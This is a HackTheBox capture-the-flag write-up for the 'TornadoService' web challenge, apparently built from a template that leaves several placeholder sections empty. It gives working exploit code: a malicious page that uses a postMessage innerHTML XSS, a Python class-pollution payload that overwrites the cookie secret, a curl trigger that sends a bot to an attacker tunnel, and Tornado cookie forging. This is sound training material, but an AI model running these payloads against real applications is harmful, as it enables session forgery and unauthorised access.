← Back to Writeups
HTBN/AWeb

TornadoService

XESXOR8/23/20265 min read
#web#htb#n/a

TornadoService

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-25 | Status: Solved Techniques: iframe_origin_bypass, postmessage_xss, prototype_pollution_python, python_class_pollution, tornado_cookie_forgery

Summary

Target: http://154.57.164.69:31599

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260325_hackthebox_tornadoservice
  • Tags: xss, python, selenium_bot, cookie_forgery, iframe, tornado, class_pollution, postmessage, innerhtml, cors, mixed_content
  • Indicators: Python Tornado framework, recursive dict merge with setattr, class.init.globals traversal, postMessage listener without origin check, innerHTML rendering of user data
  • Source: 20260325_hackthebox_tornadoservice.md

Foothold

Vulnerability / Misconfiguration

  1. Iframe_origin_bypass
  2. Postmessage_xss
  3. Prototype_pollution_python
  4. Python_class_pollution
  5. Tornado_cookie_forgery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • iframe_origin_bypass
  • postmessage_xss
  • prototype_pollution_python
  • python_class_pollution
  • tornado_cookie_forgery
  • Tags: xss, python, selenium_bot, cookie_forgery, iframe, tornado, class_pollution, postmessage, innerhtml, cors, mixed_content

Original Writeup

<details><summary>Click to expand original content</summary>

TornadoService — HackTheBox

Description

You have found a portal of the recently arising tornado malware, it appears to have some protections implemented but a bet was made between your peers that they are not enough. Will you win this bet?

Target: http://154.57.164.69:31599

Python Tornado web application with multiple vulnerabilities: Python class pollution in recursive dict merge function, DOM XSS via innerHTML + postMessage, and a Selenium bot that visits user-controlled URLs. The goal is to chain these to overwrite the cookie secret and forge a valid session cookie to access the flag.

Analysis

Application Structure

  • / — Index page (dashboard)
  • /get_tornados — Returns list of tornado objects as JSON
  • /update_tornado — Updates a tornado object. RESTRICTED TO LOCALHOST ONLY
  • /report_tornado?ip=X — Makes a Selenium bot visit http://{ip}/agent_details
  • /login — Login with username/password (passwords are random 32-byte hex)
  • /stats — Returns flag if user has valid Tornado secure cookie

Vulnerability 1: Python Class Pollution

The update_tornados() function recursively merges a dict into an object using setattr:

def update_tornados(tornado, updated):
    for index, value in tornado.items():
        if hasattr(updated, "__getitem__"):
            if updated.get(index) and type(value) == dict:
                update_tornados(value, updated.get(index))
            else:
                updated[index] = value
        elif hasattr(updated, index) and type(value) == dict:
            update_tornados(value, getattr(updated, index))
        else:
            setattr(updated, index, value)

By traversing __class____init____globals__, we can reach module-level globals and overwrite APP.settings.cookie_secret.

Vulnerability 2: DOM XSS via innerHTML + postMessage

Frontend JS renders tornado data with innerHTML (XSS sink):

machineIdValue.innerHTML = tornado.machine_id;
ipAddressValue.innerHTML = tornado.ip_address;
status.innerHTML = tornado.status;

And listens for postMessage events without origin validation (XSS source):

window.addEventListener("message", (event) => {
    const tornado = event.data;
    if (!tornado.machine_id && !tornado.ip_address && !tornado.status) return;
    const listItem = createListItem(tornado);  // renders with innerHTML
    tornadoList.appendChild(listItem);
});

Vulnerability 3: Bot visits user-controlled URLs

The /report_tornado?ip=X endpoint makes a Selenium bot visit http://{ip}/agent_details, allowing us to serve malicious content.

Attack Chain

  1. Host malicious page on cloudflared tunnel
  2. Trigger bot to visit our page via /report_tornado
  3. Our page creates iframe to http://127.0.0.1:1337/
  4. Send postMessage with XSS payload in machine_id field
  5. XSS executes in localhost context, bypassing the localhost restriction
  6. XSS sends class pollution payload to /update_tornado to overwrite cookie_secret
  7. Forge Tornado secure cookie with known secret
  8. Access /stats with forged cookie to get flag

Solution

Step 1: Set up malicious page with cloudflared tunnel

cloudflared tunnel --url http://localhost:8890
# Got: https://birth-adaptation-protein-protocols.trycloudflare.com

Step 2: Create exploit page (agent_details)

<html>
<body>
<h1>Agent Details</h1>
<script>
var target = 'http://127.0.0.1:1337';

// Direct fetch fails (mixed content), so use iframe approach:
fetch(target + '/get_tornados', {mode: 'cors'})
  .then(function(r) { return r.json(); })
  .catch(function(e) {
    // Create iframe to localhost
    var iframe = document.createElement('iframe');
    iframe.src = target + '/';
    iframe.onload = function() {
      // XSS payload that runs in localhost context
      var xss = "fetch('/get_tornados').then(r=>r.json()).then(d=>{" +
        "var p={machine_id:d[0].machine_id," +
        "__class__:{__init__:{__globals__:{APP:{settings:{cookie_secret:'MYSECRET123'}}}}}};" +
        "fetch('/update_tornado',{method:'POST'," +
        "headers:{'Content-Type':'application/json'}," +
        "body:JSON.stringify(p)})})";
      
      // Send postMessage with XSS in machine_id (rendered via innerHTML)
      var msg = {
        machine_id: '<img src=x onerror="' + xss + '">',
        ip_address: 'test',
        status: 'active'
      };
      iframe.contentWindow.postMessage(msg, '*');
    };
    document.body.appendChild(iframe);
  });
</script>
</body>
</html>

Critical: The exploit file must be served with Content-Type: text/html for the browser to execute JavaScript.

Step 3: Trigger the bot

curl -s "http://154.57.164.69:31599/report_tornado?ip=birth-adaptation-protein-protocols.trycloudflare.com"

Step 4: Class pollution traversal

The payload traverses the object graph:

{
  "machine_id": "host-8693",
  "__class__": {
    "__init__": {
      "__globals__": {
        "APP": {
          "settings": {
            "cookie_secret": "MYSECRET123"
          }
        }
      }
    }
  }
}

Traversal path:

  1. TornadoObjecthasattr(obj, "__class__") = True → recurse into class
  2. TornadoObject class → hasattr(cls, "__init__") = True → recurse into method
  3. __init__ method → hasattr(method, "__globals__") = True → recurse into module globals
  4. Module globals dict → dict.get("APP") exists → recurse into Application object
  5. APPhasattr(APP, "settings") = True → recurse into settings dict
  6. Settings dict → settings["cookie_secret"] = "MYSECRET123"

Step 5: Forge Tornado secure cookie and get flag

from tornado.web import create_signed_value
cookie = create_signed_value('MYSECRET123', 'user', 'lean@tornado-service.htb', version=2)
# Result: 2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578...
curl -s 'http://154.57.164.69:31599/stats' \
  -b "user=2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578044e98f0d295c727a8d0f6e0df2ce4a1b6729f06b560143e677e7e145e"
# {"success": {"type": "Success", "message": "HTB{REDACTED}"}}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR